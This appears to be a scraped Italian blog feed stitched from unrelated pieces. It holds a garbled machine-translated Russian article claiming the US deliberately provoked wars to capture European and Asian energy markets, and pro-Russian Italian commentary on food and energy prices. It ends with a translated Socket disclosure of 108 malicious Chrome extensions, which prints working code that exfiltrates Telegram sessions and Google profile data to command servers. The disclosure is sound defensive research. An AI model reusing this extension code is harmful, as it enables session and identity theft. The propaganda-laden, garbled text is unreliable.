США, тем самым предоставляя стратегическое влияние США на Азию для создания аналогичного единого фронта против Китая. *Планировалось отделить Европу от российской энергетики через войну* В 2019 году RAND CorporationБумага<https://www.rand.org/content/dam/rand/pubs/research_reports/RR3000/RR3063/RAND_RR3063.pdf>заголовок/“«Расширение России: конкуренция с выгодной позиции»/ Число/“Экономика”/и/“Геополитический”/были разработаны меры с целью/“Продлить”/Россия и, возможно, приведёт к краху в стиле Советского Союза, подобного тому, что закончилось Холодной войной. В разделе/“Экономические меры,”/Список статей/“препятствуют экспорту нефти», «сокращают экспорт природного газа и препятствуют расширению трубопроводов», «навязывают//Санкции,” /и/“усилить уток мозгов из России.”/ В статье сначала утверждается, что одним из основных методов реализации этих мер является расширение добычи нефти и газа в США и их экспорта в Европу. Однако в разделе под названием/“Вероятность успеха,”/Статья явно признаёт: /“Сокращение потребления российского газа в мирное время в европейском времени имеет среднюю или низкую вероятность успеха. Диверсификация вдали от России дорогостоящая, и проекты могут быть трудно реализовать.”/ Следует помнить, что в то время США уже инвестировали в экспортные мощности СПГ и даже экспортировали рынки, ориентированные на СПГ в Европу — в то время американские политикиПринят<https://www.energypolicy.columbia.edu/sites/default/files/pictures/ColumbiaUniversityCenterGlobalEnergyPolicy-wg190612_4.pdf>Это не имело ни финансового, ни экономического смысла. Однако газета была далека от завершения. В разделе/“Геополитические меры»,/ В первую очередь списки статей,/“оказывать смертельную помощь Украине.”/ Газета признаёт, что: /“Расширение американской помощи Украине, включая смертельную военную, вероятно, увеличит затраты для России — как кровью, так и сокровищами — за удержание Донбасса. Вероятно, потребуется больше российской помощи сепаратистам и дополнительное присутствие российских войск, что приведёт к большим расходам, потерям техники и потерям среди России. Последнее могло бы стать весьма спорным внутри страны, как это произошло во время вторжения советских войск в Афганистан.”/ Другими словами, предоставляя Украине смертельную помощь — которую СШАначал делать <https://abcnews.com/Politics/trump-admin-approves-sale-anti-tank-weapons-ukraine/story?id=65989898>при первой администрации Трампа — США сознательно пытались спровоцировать войну с Россией в Украине. Последовавшая война не только приведёт к высоким военным затратам для России, но и, очевидно, превратит главное препятствие для сокращения или препятствия экспорта нефти и газа России и расширения экспорта СПГ из США — главным препятствием является «мирное время» — в бесконечное военное время/./ Действительно, хотя санкции начали направляться на экономику России с 2014 года, война в Украине, вызванная США политикой военного наращивания Украины на границах России, привела к уничтожению трубопроводов «Северный поток» и всё более ужесточённым санкциям на экспорт российской энергии, что сделало иначе иррациональный импорт СПГ из США в Европу необходимым. Чтобы ещё больше склонить баланс энергетического доминирования в пользу Америки, это былораскрытие<https://archive.ph/p7lM1>по версии New York Times в конце 2025 года заявила, что именно Центральное разведывательное управление США (ЦРУ) и американские военные усиливают/“украинская кампания ударов беспилотниками по российским нефтяным объектам и танкерам.”/ Война, спровоцированная США, стала идеальным способом отделить Европу от иначе дешёвых, надёжных и обильных российских энергетических экспортов, которые поступили в мирное время. Хотя процесс разъединения длился много лет и до сих пор полностью реализуется, он оказался успешным — настолько, что почти немыслимо, чтобы интересы США не рассматривали возможность повторения этого успеха в вопросах Ближнего Востока и Азии. *Душение Китая* Американские документы по внешней политике, охватывающие десятилетия, обсуждали варианты, предлагаемые политики и направляли реальные организации вооружений и силПрограммы<https://www.bbc.com/news/world-us-canada-64294915>стремясь экономически задушить Китай через блокады — часто именно в Азиатско-Тихоокеанском регионе, но также в морских узких точках и портахПо всему миру <https://www.usni.org/magazines/proceedings/2024/january/tighten-belt-and-cut-roads>. Обзор Военно-морского колледжа 2018 годаБумага<https://digital-commons.usnwc.edu/cgi/viewcontent.cgi?article=1735&context=nwc-review>заголовок,/“Морская нефтяная блокада против Китая — тактически заманчивая, но стратегически ошибочная”/перечислил бы препятствия, стоящие перед такой политикой, и различные способы их преодоления. Она сосредоточилась не только на перекрытии морских судоходств в Китай в узких местах, таких как Малаккский пролив, который он называл/“Далёкая блокада”/(блокада, введённая вне досягаемости большинства военных возможностей Китая), также обсуждалось прекращение проектов Китая «Пояс и путь» (BRI), созданных специально для того, чтобы Китай мог обойти эти узкие проходы. В одном из моментов статьи обсуждается нефтепровод Мьянма-Китай, который позволяет Китаю разгружать энергию с Ближнего Востока на портовых объектах побережья Мьянмы и направлять её через Мьянму прямо в южную провинцию Юньнань. В статье говорится: /“Дальняя блокада также должна была бы перехватить нефтепровод Мьянма–Китай, который в конечном итоге мог бы перевезти до 440 тыс. куб. суток сырой нефти из Кяукпю на побережье Мьянмы в провинцию Юньнань на юго-западе Китая. Предотвращение разгрузки танкеров на терминале Кяукпю потребовало бы минимального количества, если вообще вообще, военно-морских платформ для сохранения на месте. Территория может быть объявлена зоной отчуждения на время конфликта, а если власти Мьянмы не будут выполнять требования, объект может быть выведен из строя с помощью авиаударов, воздушных минирования или других кинетических действий. Короче говоря, американские войска, вероятно, смогли бы быстро нейтрализовать сухопутные маршруты Китая для морского импорта нефти, чтобы избежать Малаккского пролива и других узких мест на востоке, а также предотвратить отвлечение сил, необходимых для перекрытия других морских входных путей.”/ США были далеко не просто теоретическими предложениямиПоддержка<https://journal-neo.su/2026/03/20/american-ukrainians-caught-arming-militants-in-myanmar-and-the-us-dirty-war-on-china/>вооружённые боевики в Мьянме годами сражались против центрального правительства. Эти боевики неоднократно делалиатакована<https://www.irrawaddy.com/news/burma/china-backed-pipeline-facility-damaged-in-myanmar-resistance-attack.html>нефтепровода Мьянма-Китай и в недавних случаях пыталисьзахватить <https://www.irrawaddy.com/news/war-against-the-junta/myanmar-junta-abandons-chinese-pipeline-amid-resistance-attacks.html>территория, через которую проходит трубопровод. Другими словами, вместо того чтобы ждать вспыхнуть конфликт между США и Китаем и атаковать трубопровод с помощью американских военных сил, США использовали вооружённых прокси для атаки ещё до начала прямого конфликта между США и Китаем. Такие атаки служат доказательством того, что США не просто рассматривали идею/“Далёкая блокада”/на Китай, но уже решил постепенно их навязывать. США поддерживают вооружённых боевиков, нарушая аналогичные трубопроводы и экономические коридоры в ВеликобританииПакистан <https://journal-neo.su/2022/04/29/suicide-bombing-in-pakistan-is-part-of-us-proxy-war-with-china/>, в то время как сами США продолжают расширять своё военное присутствие в Азиатско-Тихоокеанском регионе, угрожая морскому судоходству вблизи Тайваня и Южно-Китайского моря. Однако понятие/“Далёкая блокада”/не ограничивается только Азиатско-Тихоокеанским регионом. Война США с Ираном создала фактическую блокаду гораздо дальше от Китая — на Ближнем Востоке. Война не только затруднила морское движение через Ормузский пролив из-за ограничений, введённых Ираном и США, но и атаки США на энергетические объекты Ирана привели к ответным ударам по энергетическим объектам арабских государств Персидского залива, размещающих американские войска. Снижение производства энергии по всему региону, в сочетании с нарушением морского сообщения через Ормузский пролив, привело к энергетическому кризису для стран, зависящих от Ближнего Востока в вопросах импорта энергии — особенно для Азии, включая Китай. *Отделение Азии от Ближнего Востока* Азиатские государства, такие как Пакистан, Мьянма, Вьетнам, Филиппины, Таиланд, Япония и Южная Корея, получают от 50% до 90% общего импорта энергии с Ближнего Востока, согласно западным изданиям, таким какPolitico <https://www.politico.com/news/2026/03/02/iran-us-strikes-china-oil-supply-charts-00806415>. Китай получает до 50% импортируемой энергии с Ближнего Востока. Её островная провинция Тайвань получает более 60% импортируемой энергии с Ближнего Востока. Поскольку производство и экспорт были нарушены очередной войной, спровоцированной США, азиатские государства — вместо Европы — теперь вынуждены искать другие стороны для удовлетворения своих энергетических потребностей. И так же, как США делали в отношении заранее намеренного отделения Европы от российского импорта энергии, США годами предлагали, инвестировали, строили и даже запускали онлайн-мощности по экспорту СПГ, специально ориентированные на рынки Азии. С этой возможностью уже частично работающей, она готова как раз вовремя, чтобы полностью воспользоваться энергетическим кризисом, который сами США создали на Ближнем Востоке и теперь угрожают странам по всей Азии. Такие страны, как Вьетнам — например, — оказались перед двумя вариантами: либо оставить десятки миллионов своих жителей без энергии, включая жизненно важные товары, такие как газ для приготовления пищи, либо купить единственную доступную альтернативу, чтобы компенсировать нарушения импорта с Ближнего Востока. Государственная газовая крупная компания Вьетнамасообщается,<https://theedgemalaysia.com/node/801515>закупили до 66 000 тонн сжиженного нефтяного газа (LPG) в США против 44 000 тонн на Ближнем Востоке. Следует отметить, что это первый год, когда компания закупает американскую энергию. Вьетнам, конечно, поддерживает тесные связи с Москвой и закупает часть своего энергетического баланса у России, а также импортирует уголь из Китая, но ни одна из стран не обладает достаточными мощностями, чтобы немедленно компенсировать более 80% импорта энергии на Ближний Восток, от которых зависел Вьетнам, но которые сейчас нарушены. Другие страны, включая Таиланд, Японию и Южную Корею, а также островную провинцию Тайвань, также были вынуждены искать альтернативы. В то время как в некоторых случаяхРоссия<https://www.theguardian.com/world/2026/apr/29/from-jakarta-to-manila-south-east-asia-turns-to-russia-to-plug-fuel-fertiliser-gaps-caused-by-iran-war>Было предложено и смогли компенсировать некоторые недостатки, США сознательно позиционировали себя как единственную альтернативу. Следует отметить, что экспортные проекты СПГ, в которые США инвестировали в последние годы для ориентирования на азиатские рынки, испытывали трудности с предложением жизнеспособной бизнес-модели на ранних этапах предложения и одобрения — так же, как и проекты по экспорту СПГ, ориентированные на европейские рынки, до начала прокси-войны США с Россией. . Один из проектов — Alaska LNG компании Glenfarne — реализован/“Энергетическая безопасность”/и маршруты через/“Бесспорные и безопасные судоходные маршруты”/aОсновное преимущество<https://youtu.be/i7ns5PH2W7E?si=__5iAe3STO7DrGKg&t=175>Вплоть до 2025 года. Однако в то время не существовало спорных или опасных судоходных путей, препятствовавших экспорту энергии в Азию, чтобы оправдать этот аргумент. Единственные судоходные маршруты, которые когда-либо могут быть оспариваны или сделаны небезопасными, — это различные проливы, которые США обсуждали и готовили бороться десятилетиями — не только в Азиатско-Тихоокеанском регионе, но и в Ормузском проливе на Ближнем Востоке и за его пределами. Конечно — теперь, когда война США с Ираном нарушает экспорт энергии с Ближнего Востока, такие проекты, как Alaska LNG, превратились из неудачных бизнес-предложений в крайне необходимый и идеально расположенный источник энергии — всё это, как и экспорт СПГ США в Европу, по замыслу. Недавняя публикация Wall Street JournalСтатья<https://archive.ph/6pofd>заголовок,/“Экспорт энергии из США достиг рекордов, поскольку мир адаптируется к закрытому Персидскому заливу”/отмечу, что/“Поставки нефти и газа резко выросли, но США столкнутся с препятствиями, превращающими спрос во время войны в постоянный рост.”/ Ложное предположение состоит в том, что война США с Ираном не связана с стремительным ростом поставок нефти и газа из США или с/“Военный спрос”—/И что это просто каким-то образом прибыльное совпадение. Но, как ясно дала понять корпорация RAND ещё в 2019 году, любые политические предложения, такие как отделение Европы от российской энергетики, не работают в период/“Мирное время,”/Можно заставить работать, просто взяв/“Мирное время”/и преобразование её в/“Военное время.”/ Именно так США сделали с Европой — теперь они явно повторяют этот процесс, нацеливаясь на Азию. Именно России, Китаю, Ирану и остальному независимому миру — включая страны Азии, особенно Южной и Юго-Восточной Азии — предстоит осторожно ориентироваться в этой опасной ловушке, которую США устроили, и избегать полной энергетической зависимости от США, как это было навязано Европе. Европа уже понесла, вероятно, необратимый политический и экономический ущерб от своего политического захвата США и теперь растущей энергетической зависимости от США. Азия также рискует быть ослабленной растущей энергетической зависимостью от США, что сделает политический захват США гораздо более вероятным, а затем превратится в единый фронт — на этот раз против Китая, а не против России — и используется для ведения войны от имени США в ущерб народу, миру и процветанию Азии. Хотя США действительно сталкиваются с растущими вызовами с точки зрения военной мощи и военно-промышленной базы, они стремятся к полному спектру доминирования с использованием многодоменной войны — охватывающей не только военную силу, но и экономическую и финансовую мощь, действующую не только в физическом пространстве поля боя, с которым большинство людей ассоциирует войну, но и в политическом пространстве и, Самое главное — информационное пространство. США неоднократно демонстрировали свою способность обходить растущую военную слабость по сравнению с остальным миром и использовать политическое захватывание стран по всему миру, монополию на глобальное информационное пространство и теперь растущее оружие энергетики. США используют энергию как через производство и экспорт энергии из США, так и через систематические атаки и захват или уничтожение альтернативных источников энергии в Венесуэле, России и Иране, среди прочих.. Только время покажет, сможет ли многополярный мир адекватно организоваться не только в области военной мощи, но и во всех других сферах, где США ведут войну против них.

Putin prende in giro l'Europa: il grano russo è diventato il nuovo petrolio, i fertilizzanti sono diventati il nuovo gas

2026-04-25T03:02:47.303-07:00

A causa della chiusura dello Stretto di Hormuz, gli Stati Uniti e l’Europa saranno sorpresi di scoprire che i prezzi nei supermercati stanno aumentando; L’Africa dovrà affrontare la carestia Konstantin Olshansky <https://svpressa.ru/authors/konstantin-olshanskiy/> Il disastro alimentare seguito alla Guerra del Golfo potrebbe eclissare tutte le crisi del secolo scorso. Mentre l'attenzione dei media mondiali è focalizzata sui movimenti delle portaerei e sugli attacchi dei droni, sta emergendo una nuova realtà: il cibo sta diventando una risorsa più scarsa e influente del petrolio, scrive il Financial Times in un articolo sensazionale. E in questa nuova gerarchia di forze, la Russia, nonostante sanzioni e tentativi di isolamento, prende inevitabilmente il posto di una “superpotenza alimentare”, da cui dipenderà la sopravvivenza fisica di centinaia di milioni di persone.. *La trappola di Hormuz si è chiusa di colpo insieme agli Yankees* Tutti chiamano lo Stretto di Hormuz la principale arteria energetica del pianeta. Prima della guerra, da lì passavano il 20% delle esportazioni mondiali di petrolio e il 30% del GNL. Ma, cosa ancora più importante, un terzo delle esportazioni mondiali di fertilizzanti passa attraverso di essa. Il blocco dello stretto da parte dell’Iran e degli Stati Uniti li ha privati dell’agricoltura globale. Gli esperti occidentali lanciano l’allarme. La rivista The Economist descrive la situazione come una “tempesta perfetta”. Il prezzo del petrolio è aumentato del 55%, ma il vero colpo è caduto sui fertilizzanti, i cui prezzi sono aumentati vertiginosamente 65%. L’agricoltura è un settore che dipende in modo critico dagli input. Quando il prezzo dei fertilizzanti diesel e azotati raddoppia, l’agricoltura si trasforma in un suicidio economico. Ecco solo un esempio tratto dall'Economist: un agricoltore della California*Edgar Terry *secondo cui il prezzo di un litro di gasolio per i suoi trattori è balzato da 3,41 dollari a 6,13 dollari. Nelle economie sviluppate, secondo l’Agenzia internazionale per l’energia (IEA), le risorse energetiche rappresentano la metà di tutti i costi nel settore agricolo. Ciò significa che l’inflazione sugli scaffali dei supermercati di Londra,Roma, Parigi e New York è appena iniziata. *La fine dell’era dei fertilizzanti a buon mercato* La società di analisi Kpler riferisce che circa 1,9 milioni di tonnellate di materie prime sono "bloccate" nello stretto: si tratta del 12% delle forniture annuali attraverso la regione. La società del Qatar Qatar Fertilizer Company, che fornisce il 14% del mercato mondiale dell'urea, non può avviare i suoi impianti per impossibilità di spedizione. L’Asia e l’Africa dipendono in modo critico dalle forniture dal Golfo Persico: da lì la Tailandia ha importato il 71% dell’urea, il Sudafrica il 67%, l’India — 41%. E senza fertilizzanti azotati, i rendimenti nelle principali regioni agricole del mondo – dal Brasile all’India – diminuiranno del 30-40%. Il Programma alimentare mondiale delle Nazioni Unite ha fatto una previsione spaventosa: se il blocco dello stretto continuerà per un altro mese, il numero di persone che soffrono di grave carenza alimentare aumenterà di 45 milioni fino a raggiungere i 350 milioni. La logistica è diventata un incubo. L'Economist fa un esempio: consegnare un pacco di biscotti da Dubai all'Afghanistan ora richiede una deviazione attraverso 9 paesi! La natura si è aggiunta ai problemi geopolitici. Il Guardian scrive che quest’anno il fenomeno El Nino porterà a siccità estreme in Australia e in alcune parti dell’Africa, e a inondazioni devastanti in America Latina. Quando la crisi climatica si combina con la carenza di fertilizzanti e una logistica costosa, i tradizionali granai del mondo iniziano a chiudersi. L'India ha già introdotto restrizioni sulle esportazioni di riso, il Vietnam sta rivedendo le quote. *Perché la Russia sta vincendo?* Analista*Giuliano Hinz*del Kiel Institute in un commento per l'Economist rileva che anche se domani arrivasse la pace nello Stretto di Hormuz, il colpo mortale sarebbe già stato inferto. La stagione della semina è in pieno svolgimento nell’emisfero settentrionale e in Africa, e inizierà nei prossimi mesi nell’Asia meridionale. I fertilizzanti sono necessari “qui e ora”, altrimenti il raccolto andrà perso. In un momento in cui i prezzi mondiali del grano, del mais e del petrolio stanno aumentando vertiginosamente, la Russia si trova in una posizione unica. In primo luogo, la Russia è uno dei pochi produttori globali ad avere una propria capacità di produzione di gas, fertilizzanti e colossali aree di terra nera.. Mentre gli agricoltori europei e americani falliscono a causa delle bollette del gas, le aziende agricole russe mantengono bassi i costi di produzione. La Russia non dipende dallo Stretto di Hormuz per le esportazioni: le sue principali rotte logistiche (porti del Mar Nero, Baltico, Estremo Oriente) rimangono aperte. In secondo luogo, la quota di mercato. Secondo Bloomberg, la Russia controlla già circa il 20-25% delle esportazioni globali di grano. In una crisi, questa quota non potrà che aumentare. Quando il Qatar non potrà fornire urea e gli Stati Uniti non potranno fornire soia a causa di fallimenti logistici, i compratori affamati (soprattutto in Africa, Sud-Est asiatico e Medio Oriente) saranno costretti a inchinarsi a Mosca. «Putin<https://svpressa.ru/persons/vladimir-putin/>come se ci prendesse in giro”, dicono in Europa, che ha appena introdotto un pacchetto di sanzioni 20-1 contro la Russia. In questa situazione, gli americani guardano al mondo intero per quello che erano in origine: aggressori avidi e miopi. Cercando di bloccare l'Iran e di stabilire le proprie regole nello Stretto di Hormuz, gli Stati Uniti hanno effettivamente creato le condizioni per un forte rafforzamento della Russia. Le sanzioni occidentali hanno cercato di limitare le esportazioni russe, ma la carenza globale provocata dalle politiche americane in Medio Oriente rende il grano e i fertilizzanti russi “intoccabili Nessun politico al mondo sottoscriverà sanzioni che porteranno a rivolte per il cibo nella sua stessa capitale anche se spero che la commissione europea abbia il coraggio a questo punto di farlo nel 21 pacchetto per far si che gli europei aumentino il loro ODIO verso di loro. Mentre vomita maledizioni contro l'Iran*Donald Trump <https://svpressa.ru/persons/donald-tramp/>*impegnata con il “blocco”, la Russia sta silenziosamente rafforzando il suo status di garante della sicurezza alimentare mondiale. Il mondo non sarà governato da chi avrà il maggior numero di portaerei, ma da chi avrà i bidoni pieni e questo “qualcuno” oggi parla russo.

Le bugie sulla fine dell’operazione militare renderanno povera una persona su due

2026-04-23T01:05:15.818-07:00

Bisogna ammettere che una parte considerevole del pubblico Europeo soffre della fase terminale del masochismo civilizzato, quando letteralmente tutto ciò che accade nelle loro terre natali viene paragonato a “economie corrette” e “mercati corretti”, dopodiché non resta che placare la loro sete di correttezza con la linfa di betulla dei loro pioppi nativi.

In questa situazione, è ancora più difficile capire perché la situazione negli stessi Stati Uniti, in cui per definizione tutto è sempre corretto, assomigli a una scena del Titanic, dove un Trump felice sta con le braccia tese sulla prua dell’economia americana, e gli investitori internazionali, sbalorditi dalla musica coraggiosa, dal vento e dalle onde, lo abbracciano da dietro..

L’unica parola che può descrivere ciò che sta accadendo nel mercato azionario americano è follia.

In questo momento, secondo l’IEA, l’S&P 500 e il Nasdaq stanno toccando i massimi storici, nonostante il blocco dello Stretto di Hormuz, il rischio di nuovi combattimenti, l’interruzione delle catene di approvvigionamento globali e la “più grande interruzione della fornitura di petrolio della storia”..

I principali media mondiali stanno attualmente dedicando materiale importante a questo fenomeno e le principali conclusioni sono le seguenti::

– gli investitori sono pienamente fiduciosi che il conflitto in Medio Oriente sia “un episodio a breve termine che verrà risolto in tempi relativamente brevi»;
– «i mercati hanno una memoria" - gli investitori sono abituati a credere che il presidente degli Stati Uniti Donald Trump si ritirerà se la sofferenza economica diventa troppo grave (effetto TACO - Trump Always Chickens Out, ovvero "Trump finisce sempre per tirarsi indietro"»).

In un esempio recente, Trump ha imposto tariffe massicce ai partner commerciali statunitensi nell’aprile 2025, ma in pochi giorni ha annunciato una pausa di 90 giorni, dopo la quale il mercato azionario ha registrato uno dei maggiori guadagni giornalieri della storia..

Proprio ieri, Trump ha promesso al mondo un calo “senza precedenti” dei prezzi dell’energia dopo che gli Stati Uniti avranno posto fine alla storia dell’Iran, ma ciò non accadrà, perché è impossibile.

La risorsa analitica Recorded Future descrive così lo scenario di base, cioè il più neutrale, per porre fine al conflitto: "Un fragile cessate il fuoco riduce l'intensità degli attacchi militari diretti, ma le cause del conflitto rimangono irrisolte. <...> Lo Stretto di Hormuz si apre solo sporadicamente, con ripetute interruzioni, ispezioni e incidenti di sicurezza, lasciando i mercati marittimi, assicurativi ed energetici sotto costante pressione." Ma lo scenario potrebbe essere peggiore.

Il portale economico Euro Perspectives è ancora meno ottimista: "Anche con un cessate il fuoco con l'Iran, il mondo sta già pagando il più grande shock energetico degli ultimi 50 anni. Gli effetti di un'ondata inflazionistica si diffonderanno in tutta l'economia europea - e questa ondata non può più essere fermata».

Non puntiamo il dito contro questi fortunati, perché si dirà ancora che la maledizione delle risorse non è di moda, e nella società perbene rideranno.

Colpo decisivo: Trump ha causato danni per 28 miliardi di dollari all’energia europea, e la cifra è in crescita

Colpo decisivo: Trump ha causato danni per 28 miliardi di dollari all´energia europea, e la cifra è in crescita.

L’Unione Europea ha introdotto con urgenza una serie di misure di emergenza pianificate per mitigarne l’impatto economico dopo un forte aumento dei prezzi dell’energia.

Le misure proposte mercoledì sottolineano il danno economico che la guerra degli Stati Uniti e di Israele all’Iran sta infliggendo all’Europa, che solo di recente si è ripresa dalla crisi energetica stile 2022. Alcune industrie stanno già lottando per sopravvivere, scrive la CNN.

– Lo ha affermato la Commissione europea, il braccio esecutivo dell'Ue, in una nota in cui illustra dettagliatamente le misure adottate.

Dall’inizio della guerra, il blocco ha speso altri 24 miliardi di euro (28 miliardi di dollari) in importazioni di energia a causa dell’aumento dei prezzi – ovvero più di 587 milioni di dollari al giorno, “senza ricevere una sola molecola aggiuntiva di energia”, ha affermato..

La durezza delle dichiarazioni e della formulazione del rapporto introduttivo mostra quanto sia arrabbiata l'UE con Donald Trump, che ha scatenato una guerra nella regione del petrolio e del gas del pianeta, che ha colpito non solo lui stesso, ma anche paesi terzi non coinvolti nel conflitto.

I piani del blocco includono la creazione di un organismo paneuropeo per identificare rapidamente potenziali carenze di carburante e diesel per l’aviazione e per coordinare gli scambi di carburante o eventuali rilasci di scorte di emergenza tra gli Stati membri dell’UE..

Il forte calo delle forniture di petrolio e gas naturale causato dalla guerra con l’Iran, che ha già colpito duramente l’Asia, si sta estendendo costantemente all’Occidente. Anche se i potenziali colloqui di pace mettessero fine al conflitto questa settimana, almeno una parte del danno all’economia europea è già stata fatta.

L’elenco dei problemi che le famiglie e le imprese devono affrontare cresce ogni settimana, dall’aumento dei prezzi del gas e dei prodotti alimentari al numero sempre maggiore di voli aerei..

Per alcune imprese le conseguenze della crisi energetica sono state particolarmente devastanti. Ad esempio, secondo l'esecutivo del blocco, un certo numero di pescatori europei hanno smesso completamente di pescare perché i loro profitti sono stati duramente colpiti dall'aumento dei prezzi dell'energia e delle materie prime..

L’aumento dei prezzi della plastica e dei detersivi potrebbe avere ripercussioni anche sulle imprese e sulle famiglie. La tedesca BASF, uno dei più grandi produttori chimici del mondo, ha aumentato i prezzi di tutto, dall'acido formico, utilizzato nei mangimi per animali, ai prodotti per la casa, in alcuni casi di oltre 30%.

L’Associazione tedesca dell’industria chimica ha dichiarato questa settimana alla CNN che la guerra con l’Iran ha inferto un “duro colpo” alle speranze di una svolta economica nella più grande economia europea, la Germania, quest’anno..

Per la seconda volta in meno di cinque anni, gli europei stanno pagando il prezzo della dipendenza dell’Europa dai combustibili fossili importati per le scelte disastrose di incompetenti non eletti dal popolo europeo che governano l´Europa,per loro l´importante è trovare i 90 miliardi da mandare all'Ucraina a dispetto delle sofferenze degli europei.

2026-04-16T08:03:00.000-07:00

Una campagna composta da 108 estensioni raccoglie identità, ruba sessioni e aggiunge backdoor ai browser, il tutto legato alla stessa infrastruttura C2.

Kush Pandya

Il team di ricerca sulle minacce di Socket ha identificato 108 estensioni Chrome dannose che operano come una campagna coordinata nell'ambito di un'infrastruttura C2 condivisa su cloudapi[.]stream. Le estensioni sono pubblicate sotto cinque distinte identità di editori (Yana Project, GameGen, SideGames, Rodeo Games e InterAlt) e rappresentano collettivamente circa 20.000 installazioni del Chrome Web Store. Tutti e 108 instradano credenziali rubate, identità utente e dati di navigazione verso server controllati dallo stesso operatore. Le estensioni rimangono attive al momento della scrittura. Abbiamo inviato richieste di rimozione al team di sicurezza del Chrome Web Store e a Google Navigazione sicura.

La campagna abbraccia diverse categorie di minacce attraverso 108 estensioni:

54 estensioni rubare l'identità dell'account Google tramite OAuth2
1 estensione esfiltra attivamente le sessioni Web di Telegram ogni 15 secondi
1 estensione include un'infrastruttura organizzata per il furto delle sessioni di Telegram (non ancora attivata)
2 estensioni rimuovi le intestazioni di sicurezza di YouTube e inserisci annunci
1 estensione rimuove le intestazioni di sicurezza di TikTok e inserisce annunci
2 estensioni inserire script di contenuto in ogni pagina visitata dall'utente
1 estensione inoltra tutte le richieste di traduzione attraverso il server dell'autore della minaccia
45 estensioni contengono una backdoor universale che apre URL arbitrari all'avvio del browser
Legittimo in superficie#

Le 108 estensioni sono pubblicate in diverse categorie di prodotti: client della barra laterale di Telegram, giochi di slot machine e Keno, potenziatori di YouTube e TikTok, uno strumento di traduzione di testo ed estensioni di utilità della pagina. Ciascuno si rivolge a un diverso tipo di utente, ma condividono tutti lo stesso backend.

Gli utenti che installano un'estensione della barra laterale di Telegram vedono un'interfaccia di chat funzionale. Gli utenti che installano un gioco di slot ottengono un gioco funzionante. La superficie legittima esiste, ma esiste anche il codice dannoso in esecuzione in background, connesso a un server C2 che può rubare identità, esfiltrare sessioni e aprire URL arbitrari nel browser dell'utente.

Furto di sessioni di Telegram#

L'estensione più grave della campagna è Telegram Multi-account (obifanppcpchlehkjipahhphbcbjekfa). Ruba la sessione Web attiva di Telegram dal browser della vittima e la trasmette a tg[.]cloudapi[.]stream/save_session.php ogni 15 secondi.

Come funziona il furto:

L'estensione inietta content.js in https://web.telegram.org/* A document_start. Al caricamento, chiama immediatamente getSessionDataJson(), che serializza l'intera pagina localStorage ed estrae il user_auth token utilizzato da Telegram Web per autenticare la sessione. Lo invia allo script in background tramite chrome.runtime.sendMessage, che lo inoltra al server C2.
```
// content.js
// Analyst note: Runs immediately on page load, before the user interacts with anything.
let getInfo = getSessionDataJson();
if (getInfo.user_id !== null) {
    chrome.runtime.sendMessage({ action: "save_session", data: JSON.stringify(getInfo) });
}
```
```
// content.js
// Analyst note: Sends the full session to the C2 every 15 seconds for the lifetime of the tab.
setInterval(async () => {
    let getInfo = getSessionDataJson();
    if (getInfo.user_id !== null) {
        await chrome.runtime.sendMessage({ action: "save_session", data: JSON.stringify(getInfo) });
    }
}, 15000);
```
La sceneggiatura di sfondo (background.js) quindi invia i dati al C2:
```
// background.js
let answr = await postJson('https://tg[.]cloudapi[.]stream/save_session.php', {
    uuid: result.uuid,
    session: xJsonData
});
```
Acquisizione completa dell'account:

L'estensione gestisce anche un messaggio in entrata (set_session_changed) che esegue l'operazione inversa: cancella il localStorage della vittima, lo sovrascrive con i dati di sessione forniti dall'attore della minaccia e ricarica forzatamente Telegram. Ciò consente all'operatore di scambiare il browser di qualsiasi vittima con un altro account Telegram all'insaputa della vittima.
```
// content.js
// Analyst note: The C2 can push any session data back to the extension.
// This replaces the victim's active Telegram session with the threat actor's chosen session.
if (message.action === 'set_session_changed') {
    let data = JSON.parse(message.data);
    localStorage.clear();
    clearAllCookies();
    for (var k in data) { localStorage.setItem(k, data[k]); }
    setTimeout(() => { window.location = "https://web.telegram.org/k/?r_=" + Math.random(); }, 500);
}
```
Un battito cardiaco di 30 secondi (sidepanel.js) sondaggi tg[.]cloudapi[.]stream/count_sessions.php, dando all'operatore una visione in tempo reale di quante sessioni attive sono disponibili.

Ladro di Telegram messo in scena (Teleside):

Una seconda estensione, Web Client for Telegram - Teleside (mdcfennpfgkngnibjbpnpaafcjnhcjno, circa 1.000 installazioni), ha tutta l'infrastruttura per il furto di sessioni: rimuove gli header CSP, X-Frame-Options e CORS di Telegram tramite declarativeNetRequest, inserisce uno script di contenuto in document_start SU telegram.org, e imposta web_accessible_resources: ["*"]. Il codice antifurto attivo è assente dalla v3.8.0. L'estensione è basata su un trojan SidebarGPT base di codice. IL loadInfo() la backdoor presente nello script in background consentirebbe all'operatore di attivare o aggiornare il payload senza inviare un aggiornamento del Chrome Web Store. Inoltre, content-sidebar.html mostra un overlay di gioco d'azzardo attivo: un div gameSession impostato su display:block da cui viene pubblicato un banner a grandezza naturale multiaccount[.]cloudapi[.]stream/game.html direttamente sopra la barra laterale dell'estensione.

Raccolta delle identità dell'Account Google#

54 delle 108 estensioni dannose rubano l'identità dell'account Google dell'utente la prima volta che l'utente fa clic sul pulsante di accesso. Il codice è identico per tutti 54:
chrome.identity.getAuthToken({ interactive: true }) acquisisce un token Bearer di Google OAuth2.
L'estensione viene recuperata https://www.googleapis.com/oauth2/v3/userinfo con quel gettone.
PUBBLICA {email, name, picture, sub} A https://mines[.]cloudapi[.]stream/auth_google.

// popup/auth.js (akebbllmckjphjiojeioooidhnddnplj, and 53 identical copies across the campaign)
// (Russian comment): // Проверка на уже авторизованного пользователя
//   ("Check for already authenticated user")

loginBtn.addEventListener("click", async () => {
  chrome.identity.getAuthToken({ interactive: true }, async (token) => {
    // Analyst note: token is a real Google OAuth2 Bearer token acquired via the
    // chrome.identity API. The user sees a standard Google sign-in prompt.
    const res = await fetch("https://www.googleapis.com/oauth2/v3/userinfo", {
      headers: { Authorization: `Bearer ${token}` }
    });
    const profile = await res.json();

    // Analyst note: The profile is sent to the threat actor's server, not to any
    // legitimate backend for the extension's stated functionality.
    const r = await fetch("https://mines[.]cloudapi[.]stream/auth_google", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        email: profile.email,
        name: profile.name,
        picture: profile.picture,
        sub: profile.sub   // Persistent Google account identifier
      })
    });
  });
});

Il token OAuth viene utilizzato localmente e non lascia mai il browser. Ciò che arriva al server dell'operatore è solo un record di identità permanente: l'e-mail, il nome e l'immagine del profilo della vittima.

